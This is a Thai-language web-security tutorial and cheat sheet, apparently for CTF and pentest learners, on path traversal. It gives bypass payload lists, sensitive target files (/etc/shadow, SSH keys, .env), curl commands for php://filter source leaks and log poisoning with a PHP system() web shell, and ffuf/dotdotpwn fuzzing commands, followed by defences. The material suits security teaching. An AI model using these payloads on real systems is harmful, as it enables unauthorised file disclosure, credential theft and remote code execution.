คลัง
web

Path Traversal

Path Traversal (directory traversal) คือการใช้ ../ เพื่อหลุดออกจากไดเรกทอรีที่แอปตั้งใจ แล้วเข้าถึงไฟล์อื่นในระบบ มักพบที่ฟีเจอร์ดาวน์โหลด/อ่าน/แสดงไฟล์ บทนี้ครอบคลุม payload พื้นฐาน, เทคนิค bypass การกรอง (encoding, null byte, absolute path), ไฟล์เป้าหมายบน Linux/Windows, และการต่อยอดสู่ LFI/RCE

BeginnerIntermediate#path-traversal#directory-traversal#dot-dot-slash#lfi#encoding#web#ctf

1. หลักการ

เมื่อแอปสร้าง path ไฟล์จาก input ผู้ใช้ (เช่น /var/www/files/ + filename) การใส่ ../ ทำให้ย้อนขึ้นไดเรกทอรีแม่ หลุดออกนอกโฟลเดอร์ที่ตั้งใจ ไปอ่านไฟล์ระบบได้ (เช่น /etc/passwd) — .. คือ special entry ที่ชี้ไป parent directory และ OS จะ resolve มันตอนเปิดไฟล์

../ ไต่ออกจาก base directory
base: /var/www/files/ /var/www/files/ + "../../../etc/passwd" resolve: /etc/passwd ← หลุดออกนอก base 3 ชั้น
ต่างจาก LFI ตรงที่ traversal มัก 'อ่าน/ดาวน์โหลด' ไฟล์เฉยๆ (file disclosure) ส่วน LFI 'include' ไฟล์เข้าโปรแกรม (อาจ execute โค้ด) แต่ทั้งคู่ใช้เทคนิค payload/bypass ชุดเดียวกัน และมักต่อยอดถึงกันได้

2. Parameter เสี่ยง และไฟล์เป้าหมาย

  • parameter เสี่ยง: ?file= ?path= ?download= ?doc= ?image= ?template= ?lang= ?page=
  • จุดที่พบ: ฟีเจอร์ download attachment, avatar/image loader, PDF/report generator, theme/lang selector
OSไฟล์เป้าหมายยอดฮิต
Linux/etc/passwd, /etc/shadow, /etc/hosts, /proc/self/environ, /proc/self/cmdline
Linux (app)config.php, .env, /var/log/apache2/access.log, ~/.ssh/id_rsa, /var/www/html/index.php
WindowsC:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts, C:\boot.ini
Windows (app)web.config, C:\inetpub\wwwroot\web.config, C:\xampp\apache\logs\access.log

3. Payload และเทคนิค bypass

พื้นฐานและการ bypass filter
../../../../etc/passwd
..\..\..\windows\win.ini            (Windows backslash)
....//....//....//etc/passwd           (bypass replace ../ ครั้งเดียว)
..././..././etc/passwd                 (bypass replace .. หรือ /)
%2e%2e%2f%2e%2e%2fetc/passwd           (URL encode ../ )
%252e%252e%252f                        (double URL encode → decode 2 รอบ)
..%c0%af..%c0%afetc/passwd             (overlong UTF-8 ของ /)
..%c1%9c..                             (overlong ของ \ บน IIS เก่า)
/var/www/files/../../../etc/passwd     (absolute + traversal)
....\/....\/                          (ผสม slash)
ลองหลายแบบ — filter แต่ละตัวกรองต่างกัน; double-encode มักผ่านเมื่อ server decode สองรอบ (proxy + app)
การกรองทาง bypass
ลบ ../ หนึ่งครั้ง (non-recursive)....// หรือ ....\/ (เหลือ ../ หลังลบ)
ลบ .. หรือ /..././ / ....// / ผสม encode
ต้องลงท้าย .png/.jpgเติม %00 (PHP เก่า), หรือ ?.png / #.png / ;.png
บล็อกอักขระ /URL encode %2f, double %252f, overlong %c0%af
ต้องขึ้นต้นด้วย base pathbase path + /../../../ ออกไป (absolute clobber)
strip absolute (ต้องขึ้น /)ใส่ path ที่กำหนดตามด้วย traversal
null byte และ suffix bypass
# แอปเติม ".png" ต่อท้าย → filename.png
../../../etc/passwd%00.png     # null byte ตัด suffix (PHP < 5.3.4)
../../../etc/passwd%00         # บาง lang/lib
../../../etc/passwd?           # ? ทำให้ .png กลายเป็น query (บาง backend)
../../../etc/passwd#           # %23
../../../etc/passwd;.png       # ; delimiter บางระบบ

# path ยาวเกิน → OS ตัด suffix (path truncation, PHP เก่า)
../../../etc/passwd/././././.......(ยาวมาก)
null byte ใช้ได้กับ runtime เก่า (PHP<5.3.4, บาง Java/C) — modern ปิดแล้ว แต่ยังเจอในโจทย์ legacy/CTF

4. ต่อยอด — traversal → LFI → RCE

ถ้า parameter เดียวกันถูกส่งเข้า include() ไม่ใช่แค่ readfile() traversal จะกลายเป็น LFI ที่รันโค้ดได้ — สะพานหลักไปสู่ RCE:

เทคนิค LFI2RCEวิธี
php://filter (leak source)อ่านโค้ด PHP เป็น base64: php://filter/convert.base64-encode/resource=index.php
php://filter chainchain filter จน generate โค้ด → RCE โดยไม่ต้อง upload (php_filter_chain_generator)
Log poisoningฉีด
/proc/self/environฉีดโค้ดใน User-Agent → include environ (server เก่า)
Session fileฉีดค่าลง $_SESSION → include /var/lib/php/sessions/sess_ID
Upload + includeอัปไฟล์ (แม้เป็นรูป) แล้ว traversal ไป include (LFI + file upload)
php://filter — leak source (ยืนยัน LFI)
# อ่าน source เป็น base64 (ไม่รันโค้ด แต่ยืนยันว่า include คุมได้)
curl 'http://target/?page=php://filter/convert.base64-encode/resource=config.php'
# → decode base64 ได้ source code (มัก leak DB creds)

# log poisoning: ฉีดโค้ดผ่าน User-Agent แล้ว include log
curl -A '<?php system($_GET["c"]); ?>' http://target/
curl 'http://target/?page=/var/log/apache2/access.log&c=id'
php://filter/resource ใช้ได้เมื่อ param เข้า include(); ถ้าเป็นแค่ readfile จะได้แค่ file disclosure
ถ้าต้องการ RCE โดยไม่ upload และ allow_url_include ปิด ใช้ php://filter chain ที่ต่อ filter หลายชั้นจน output กลายเป็น PHP payload — เครื่องมือ php_filter_chain_generator.py สร้าง URL ให้ (ดูหัวข้อ LFI); ถ้า include รับ URL ภายนอกได้ → RFI

5. Decision flow

param ไฟล์น่าสงสัย — ไล่ตามนี้
ลอง ../../../etc/passwd (Linux) / ..\..\win.ini (Win)
ยืนยัน traversal
ถูกกรองไหม?
ลบ ../ ครั้งเดียว→ ....// / ..././
block /→ %2f / %252f / overlong
ต้องลงท้าย .png→ %00 / ? / # ตัด suffix
param เข้า include หรือแค่ read?
readfile/downloadfile disclosure (leak config/.env/creds)
include()→ LFI → RCE
leak source: php://filter/convert.base64-encode/resource=

6. เครื่องมือ

อัตโนมัติด้วย ffuf / dotdotpwnLinux
# fuzz payload traversal ด้วย wordlist (SecLists LFI/traversal)
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
     -u 'http://target/?file=FUZZ' -fs 0 -mc 200

# dotdotpwn — สร้าง+ยิง traversal หลายรูปแบบอัตโนมัติ
dotdotpwn -m http -h target -f /etc/passwd -k "root:" -x 80

# Burp Intruder: ใส่ payload list ของ ../ variants + encoding
# กรอง response ด้วย 'root:' หรือ '[extensions]' (win.ini)
grep คำยืนยันในผล: 'root:x:0:0' (passwd), '[fonts]' (win.ini); ปรับ -fs/-mc ให้ตรง baseline
  • ffuf + SecLists (LFI/traversal wordlist) — เร็ว, filter ด้วย response size/keyword
  • dotdotpwn — fuzzer เฉพาะ traversal หลาย encoding/OS
  • Burp Intruder — ใส่ payload list + grep match 'root:'
  • php_filter_chain_generator — LFI2RCE ผ่าน filter chain

7. ข้อผิดพลาด & troubleshooting

  • ไม่ลอง encoding พอ: single-encode block แต่ double-encode ผ่าน (proxy decode 1 รอบ + app decode 1 รอบ)
  • ผิด OS: ยิง /etc/passwd บน Windows — ลอง win.ini/web.config แทน (ดู Server header/error)
  • จำนวน ../ น้อยไป: ใส่ ../ เกินความลึกจริงได้ (../ เกินจาก root ถูก ignore) — ใส่เยอะๆ ไว้ก่อน
  • suffix .php/.png ติด: ต้องตัดด้วย %00 (เก่า) / ? / # / path truncation
  • WAF normalize path: ลอง overlong UTF-8, mixed encoding, backslash
  • ได้ file disclosure แต่อยากได้ RCE: เช็คว่า param เข้า include ไหม → LFI2RCE
  • อ่านไฟล์ไบนารี/รูปได้ยาก: ใช้ php://filter base64 encode เพื่อดึงเนื้อหาปลอดภัย

8. การป้องกัน

  • Canonicalize path (realpath) แล้วตรวจว่าอยู่ภายใต้ base directory จริง (startsWith base)
  • ใช้ allowlist ของไฟล์/ID ที่อนุญาต แทนการรับ path ตรงๆ (map id → filename)
  • ตัด/ปฏิเสธ ../, null byte, และ encoding variants ก่อน resolve (decode ให้ครบก่อนตรวจ)
  • แยก storage ออกจาก path ระบบ; ใช้ basename() เอาเฉพาะชื่อไฟล์
  • รันด้วยสิทธิ์ต่ำ + chroot/jail/container จำกัดขอบเขตไฟล์ที่เข้าถึงได้
  • อย่าส่ง user input เข้า include/require; ตั้ง open_basedir (PHP) จำกัด path

9. Quick Reference

  • param เสี่ยง: file/download/path/doc/image/page/lang
  • พื้นฐาน: ../../../etc/passwd (Linux), ..\..\win.ini (Windows)
  • bypass: ....// , %2e%2e%2f , double-encode %252e , overlong %c0%af
  • suffix: %00 (เก่า) / ? / # / path truncation
  • absolute + traversal เผื่อ backend join แปลกๆ
  • leak source: php://filter/convert.base64-encode/resource=
  • include() → LFI2RCE: log poison, filter chain, upload+include
  • เครื่องมือ: ffuf+SecLists, dotdotpwn, Burp Intruder
  • ป้องกัน: canonicalize + ตรวจ base dir, allowlist, basename()

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอ parameter ที่ดูเหมือนชื่อไฟล์ เช่น ?file= หรือ ?path= มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้น

  1. 1หา parameter ที่ดูเหมือนชื่อไฟล์ (?file=, ?path=, ?doc=, ?image=) จาก Burp Proxy history
  2. 2ลอง ../../../../etc/passwd (Linux) หรือ ..\..\windows\win.ini (Windows) ตรงๆ ก่อนด้วย curl/Repeater
  3. 3เช็ค response ว่ามี root:x:0:0 หรือ [fonts] โผล่มาไหม
  4. 4ถ้าไม่ได้ผล ลองชุด encoding ด้วย Burp Intruder: %2e%2e%2f, ....//, overlong %c0%af
  5. 5ถ้าต้องลงท้ายนามสกุล (.png) ลอง null byte %00, ?, # ตัด suffix
  6. 6ใช้ ffuf พร้อม wordlist SecLists LFI/traversal กวาดอัตโนมัติ (LFI-gracefulsecurity-linux.txt)
  7. 7เมื่อได้ผลแล้ว ดูว่า parameter เข้า include()/require() (โค้ดรัน) หรือแค่ readfile()/download (อ่านไฟล์เฉยๆ)
  8. 8ถ้าเข้า include ลอง php://filter/convert.base64-encode/resource=config.php เพื่อ leak source โดยไม่ทำลายระบบ
  9. 9ถ้ายืนยัน include ได้ ไปต่อที่ LFI (log poisoning / filter chain) เพื่อยกระดับเป็น RCE
ตัดสินใจ: ไล่ยืนยัน path traversal แล้วไปต่อทางไหน
ลอง ../../../../etc/passwd หรือ ..\..\win.ini ตรงๆ
เจอ root: หรือ [fonts] ไหม?
✅ เจอ→ traversal ยืนยัน
❌ ไม่เจอ/ถูกกรอง→ ลอง encoding bypass
ลอง %2e%2e%2f, ....//, overlong %c0%af, null byte %00 (Burp Intruder/ffuf)
✅ ผ่านสักแบบ→ traversal ยืนยัน
❌ ยังไม่ได้เลย→ อาจไม่ใช่ traversal จริง ลองดู file-upload/SSRF ของ param นี้แทน
อ่านไฟล์ระบบได้แล้ว — param เข้า include() หรือแค่ readfile()?
❌ แค่ readfile/download→ file disclosure (leak .env/config/creds)
✅ เข้า include()→ ไปต่อที่ LFI เพื่อยกระดับเป็น RCE
leak source ด้วย php://filter/convert.base64-encode/resource= แล้วเก็บหลักฐาน
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ทดสอบ traversal ด้วยมือcurl, Burp Repeater--
fuzz payload + encoding อัตโนมัติffuf--
fuzzer เฉพาะ traversal หลาย encoding-apt install dotdotpwn-
wordlist LFI/traversalSecLists (/usr/share/seclists)apt install seclists-
สร้าง php filter chain สำหรับ RCE-git clone https://github.com/synacktiv/php_filter_chain_generator-
decode/encode payload ด้วยมือ--CyberChef, dcode.fr
🚑 ถ้าตันสนิท ลองท่าถัดไป: LFI — ถ้า param เข้า include() ให้ต่อยอดเป็น RCE ผ่าน log poisoning/filter chain · File Upload — ถ้ามีจุด upload ที่ traversal ชี้ path ปลายทางได้ (เขียนทับไฟล์ระบบ) · SSRF — ถ้า parameter เป็น URL ให้ server fetch แทนที่จะเป็น path ไฟล์ · Command Injection — ถ้า log poisoning ต่อยอดจนรันคำสั่งได้แล้ว

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้